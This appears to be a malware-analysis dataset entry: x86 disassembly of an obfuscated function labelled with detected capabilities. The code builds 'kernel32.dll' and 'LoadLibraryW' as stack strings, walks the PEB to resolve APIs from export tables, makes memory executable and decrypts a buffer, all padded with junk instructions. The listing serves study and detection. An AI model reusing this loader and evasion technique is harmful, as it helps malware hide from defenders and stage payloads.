Function at 0x4885e2
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ecx
push edx
add esp, 4
sub ecx, 0xf68a
sub ecx, 0x179d4
pop ecx
push edx
call fcn.004882d9
add byte [ecx + 0x3d], cl
dec ecx
dec edx
cmp dh, byte [esi]
inc eax
inc ecx
dec ebx
add esp, 4
or edx, 0x17e42
or edx, 0x17ecc
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
xor eax, 0x17d4
or eax, 0xd193
pop eax
push eax
push edx
add esp, 4
or eax, 0xc86a
pop eax
push esi
push edx
add esp, 4
call 0x488341
add byte [esi + 0x3b], cl
inc esi
inc esi
dec eax
inc esi
inc esp
push eax
cmp eax, 0x5e04c483
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push ecx
add esp, 4
xor eax, 0xc9db
jmp 0x4883af
and eax, 0xaba6
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0xa70b
or ecx, 0xa92c
or ecx, 0x1453d
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4883eb
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x488445
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x488313
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x488313
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x48842f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x488439
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x48848e
push ecx
xor ecx, 0x16a80
sub ecx, 0x4e34
sub ecx, 0x108ec
and ecx, 0x5b15
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x12376
add edx, 0xbd0a
or edx, 0x50a5
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4884f6
push esi
push edi
add esp, 4
sub esi, 0x17168
and esi, 0x61e2
or esi, 0x1dca
pop esi
push eax
push eax
add esp, 4
and eax, 0x137e8
pop eax
push esi
add esi, 0x256
add esi, 0x15c94
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4884ec
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4882b7
mov dword [ebp - 0x2a8], 0
push ecx
sub ecx, 0x15a11
or ecx, 0x9530
or ecx, 0x18189
add ecx, 0xf54b
pop ecx
push edi
push eax
add esp, 4
add edi, 0xd95c
and edi, 0x55de
and edi, 0x149eb
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x488e2d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
push ebx
add esp, 4
call 0x4885e2
add byte [esi + 0x32], cl
inc esp
inc esp
inc edx
xor dh, byte [edx]
dec esi
cmp byte [ebx - 0x187efb3c], al
lcall 0xf7e7, 0x81000006
jne 0x4885f0
add byte [ecx + 0x3ef6e7], al
add byte [edi + 0x52], bl
sub edx, 0x4e5
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
add ebx, 0x632c
sub ebx, 0xfc50
sub ebx, 0x67f8
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x1653c
or ecx, 0xa193
pop ecx
push eax
push edi
add esp, 4
and eax, 0x11dd
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x4886cd
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push edx
add esp, 4
sub edi, 0x46d
and edi, 0x39b8
pop edi
push ecx
and ecx, 0x952e
or ecx, 0x3dcd
and ecx, 0x132fe
pop ecx
push ebx
push edi
add esp, 4
add ebx, 0x1383d
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x488729
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push ebx
add esp, 4
or esi, 0x15542
add esi, 0x16afb
and esi, 0x98f0
xor esi, 0x8241
pop esi
push edx
add edx, 0xd80d
or edx, 0xf3a5
add edx, 0x169
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push edx
add esp, 4
xor edx, 0xd67b
pop edx
push edi
or edi, 0xf2b9
call 0x4887b3
add byte [edx], dh
inc esp
inc eax
dec ebp
xor eax, 0x324c4644
add esp, 4
add edi, 0xab14
or edi, 0x18bd
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
or eax, 0x18394
sub eax, 0xd677
pop eax
push ebx
sub ebx, 0xb0b7
pop ebx
push edi
add edi, 0xdff5
jmp 0x48883f
pop edi
push ecx
push eax
add esp, 4
add ecx, 0xae2f
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x488869
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4888c3
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x488791
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x488791
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4888ad
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4888b7
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x48890c
push ebx
sub ebx, 0x10052
and ebx, 0x17303
sub ebx, 0x10503
sub ebx, 0xe10f
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0x4c44
pop ebx
push edi
push ebx
add esp, 4
xor edi, 0x3c27
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x488974
push ebx
or ebx, 0xf4f8
or ebx, 0x11cd4
or ebx, 0x12ff6
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0x3034
pop ebx
push ebx
call 0x48893a
add byte [ebx], bh
cmp byte [ebx], dh
inc ecx
xor al, 0x43
xor eax, dword [ebx - 0x74a4fb3c]
test dword [eax], ebx
sti
invalid
push edi
push eax
add esp, 4
add edi, 0xedc3
xor edi, 0xda9d
pop edi
push eax
xor eax, 0xeb0e
and eax, 0x17122
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x16b4d
xor ecx, 0x14ef5
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x4889f0
push ebx
push edi
add esp, 4
sub ebx, 0xb106
pop ebx
push ecx
push edx
add esp, 4
add ecx, 0xf11d
pop ecx
push ecx
jmp 0x4889ce
and ecx, 0x57ac
xor ecx, 0x2c66
xor ecx, 0x11c2a
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x489518
push edi
push esi
add esp, 4
and edi, 0x12614
add edi, 0x1d93
add edi, 0x209
or edi, 0x5194
pop edi
push edx
xor edx, 0x12c3
or edx, 0x2854
sub edx, 0xc00c
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x488a61
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x488a89
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x488abb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x488d52
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x488ae0
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x488b3a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x488d46
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x488baa
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x488c5c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x488c5c
push ebx
push ecx
add esp, 4
jmp 0x488be1
xor ebx, 0x25e1
sub ebx, 0x345c
add ebx, 0xecde
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0x726d
jmp 0x488c08
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x488c4e
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x488c55
jmp 0x488b9b
jmp 0x488c5c
push edx
push edi
add esp, 4
xor edx, 0x90f1
or edx, 0xef32
or edx, 0x105c0
and edx, 0x15907
pop edx
push eax
xor eax, 0x1095f
add eax, 0x2eb
or eax, 0x11c6a
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x488cbb
mov dword [ebp - 0xc5c], 0
jmp 0x488d2a
push esi
call 0x488ccb
add byte [eax + 0x50], al
aas
dec edi
dec edi
inc ebp
cmp edi, dword [ecx]
xor eax, dword [ebx + 0x525e04c4]
push esi
add esp, 4
add edx, 0x102c4
jmp 0x488ce0
xor edx, 0x2db3
xor edx, 0x6d3d
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x488d20
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x488d2a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x488d41
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
jmp 0x488b2b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x488e2d
push esi
add esi, 0x158a5
jmp 0x488d6d
xor esi, 0xb051
pop esi
push ecx
push eax
add esp, 4
jmp 0x488d7e
sub ecx, 0xe5d4
or ecx, 0x2083
sub ecx, 0x178d0
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
jmp 0x488da4
and eax, 0x5720
add eax, 0x124a6
pop eax
push eax
or eax, 0x41f6
call 0x488dc5
add byte [ebx], dh
inc edi
dec esp
aas
xor eax, 0x4c4833d
or eax, 0x5002
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x488e2d
push edx
push ecx
add esp, 4
and edx, 0x7c7c
pop edx
push edi
jmp 0x488dff
xor edi, 0x254a
call 0x488e14
add byte [ebx + 0x40], cl
inc ebp
inc esp
xor al, 0x41
cmp al, byte [esi + 0x48]
add esp, 4
and edi, 0x140f4
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x489518
push ecx
push edi
add esp, 4
or ecx, 0x15bbc
pop ecx
push edi
sub edi, 0xa01e
sub edi, 0x164fb
jmp 0x488e4c
pop edi
push ebx
push edi
add esp, 4
xor ebx, 0xea23
xor ebx, 0xe71
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
and edi, 0x16d98
call 0x488e9c
add byte [eax + 0x45], dl
inc edi
inc ebx
dec esp
aaa
cmp dword [ebp - 0x7d], ecx
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [eax + 0x41], al
inc ebx
dec ebp
inc ecx
dec esp
cmp dword ds:[0x4c48342], edi
add edi, 0x1a00
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x488ed1
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
and ebx, 0x17ba9
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0xd4df
and ebx, 0xfd61
pop ebx
push edx
push ecx
add esp, 4
call 0x488f11
add byte [ebx + esi + 0x38], cl
inc esp
cmp eax, 0x4b3c3537
add esp, 4
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x488f2d
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push ecx
add esp, 4
and ecx, 0x3881
sub ecx, 0x2b2a
call 0x488f59
add byte [ebp + 0x3b], al
aaa
dec ecx
dec esp
xor bh, byte [ebx]
xor eax, dword [ebx + eax*4 - 0x3c]
add al, 0x59
push edi
add edi, 0x16a08
sub edi, 0x9bea
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
push eax
add esp, 4
xor ebx, 0xddfa
call 0x488faf
add byte [edx + eax*2], dh
cmp eax, 0x38364e33
dec eax
inc esp
add esp, 4
pop ebx
push edx
and edx, 0x5434
and edx, 0xa1f5
xor edx, 0x398c
pop edx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push eax
add esp, 4
jmp 0x48902a
call 0x489038
add byte [0x4b395046], dh
dec ecx
dec ebx
dec eax
add esp, 4
pop ebx
push edi
xor edi, 0x1834e
and edi, 0x12b6a
sub edi, 0x5c2
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x48906d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4890c7
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x488f95
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x488f95
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4890b1
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4890bb
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x489110
push edi
push eax
add esp, 4
sub edi, 0x13251
sub edi, 0x1171c
sub edi, 0x114a
pop edi
push edx
or edx, 0x9be3
pop edx
push eax
push ecx
add esp, 4
xor eax, 0xe4bb
xor eax, 0xbd6c
pop eax
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x489178
push ebx
jmp 0x489119
xor ebx, 0x6f0d
or ebx, 0x4d66
pop ebx
push edi
jmp 0x48912f
add edi, 0x8014
or edi, 0x9678
xor edi, 0xdad7
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x48916e
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x488f39
mov dword [ebp - 0x2a8], 0
push ebx
add ebx, 0xeda6
xor ebx, 0x10ac2
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0xe521
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0x174a4
pop ecx
push eax
push edx
add esp, 4
add eax, 0x15189
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
add edx, 0xf952
xor edx, 0x17805
pop edx
push ebx
or ebx, 0xe22c
jmp 0x4891d3
sub ebx, 0xf3d5
pop ebx
push edi
jmp 0x4891e3
jmp 0x4891ea
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x48921b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x489243
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x489275
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x48950c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x48929a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4892f4
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x489500
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x489364
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x489416
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x489416
push esi
and esi, 0x1424c
sub esi, 0xd159
and esi, 0xdf8d
pop esi
push ebx
push edi
add esp, 4
jmp 0x4893b3
xor ebx, 0xa4d5
jmp 0x4893c2
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x489408
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x48940f
jmp 0x489355
jmp 0x489416
push edi
xor edi, 0x1b3d
sub edi, 0x394a
pop edi
push esi
push ecx
add esp, 4
xor esi, 0xeaa8
add esi, 0x11cfd
call 0x489444
add byte [eax], bh
aas
cmp ecx, dword [ecx + 0x3b]
dec ecx
dec ebx
xor al, 0x37
add esp, 4
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x489475
mov dword [ebp - 0xc6c], 0
jmp 0x4894e4
push ebx
push edx
add esp, 4
sub ebx, 0x18139
and ebx, 0x17716
sub ebx, 0x5aaf
pop ebx
push eax
sub eax, 0x154ee
add eax, 0x15e5
and eax, 0x1b1d
sub eax, 0x13e5a
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x4894da
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x4894e4
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4894fb
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
jmp 0x4892e5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
push edx
add esp, 4
or edx, 0x16988
xor edx, 0x135ea
pop edx
push eax
jmp 0x489532
jmp 0x48953a
jmp 0x489540
jmp 0x489549
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4895bd
push edi
sub edi, 0x12032
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x72b2
pop ecx
push edx
push esi
add esp, 4
add edx, 0x158d7
pop edx
push esi
call 0x4895a5
add byte [eax], bh
cmp eax, 0x4c473937
inc ecx
add esp, 4
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4895da
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x489636
push edi
or edi, 0x104d4
sub edi, 0x1104f
or edi, 0x13547
add edi, 0x1633a
pop edi
push ecx
push ebx
add esp, 4
sub ecx, 0x90e2
or ecx, 0x1ba
sub ecx, 0xc37e
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4895cb
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4896ae
push edx
push eax
add esp, 4
xor edx, 0xaff9
call 0x48967f
add byte [ebp + 0x4a], cl
xor al, 0x41
inc ecx
xor eax, dword [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
dec ecx
inc esp
inc edi
dec edi
cmp eax, dword [edx + 0x43]
inc edx
add esp, 4
xor edx, 0x4a2e
pop edx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edi
push eax
add esp, 4
sub edi, 0x9e14
pop edi
push esi
or esi, 0xa70
or esi, 0x3a09
call 0x4896d6
add byte [0x3d3e3e3b], bh
inc esp
inc esi
dec edi
add esp, 4
sub esi, 0x4560
pop esi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
pop ebx
xchg bl, ch
nop
out 5, eax
add eax, 0x753df386
add eax, 0x9eeb8605
outsb dx, byte [esi]
add eax, 0xcffb8605
fld dword [0x58586305]
mov cl, cl
or dword [esi + 0x6786fc8], eax
add eax, 0x931f086
push es
add eax, 0xa1d4f086
add eax, 0x70bf6005
add eax, 0x8e6b0505
lcall 0x6abd, 0x404eec1
add eax, 0x8e6b0505
mov al, bl
out dx, al
add al, 4
mov esi, 0x5050577
imul ecx, dword [esi + 0x4eec592], 4
mov edi, 0x5050573
imul ecx, dword [esi + 0x4eec79a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec98a], 4
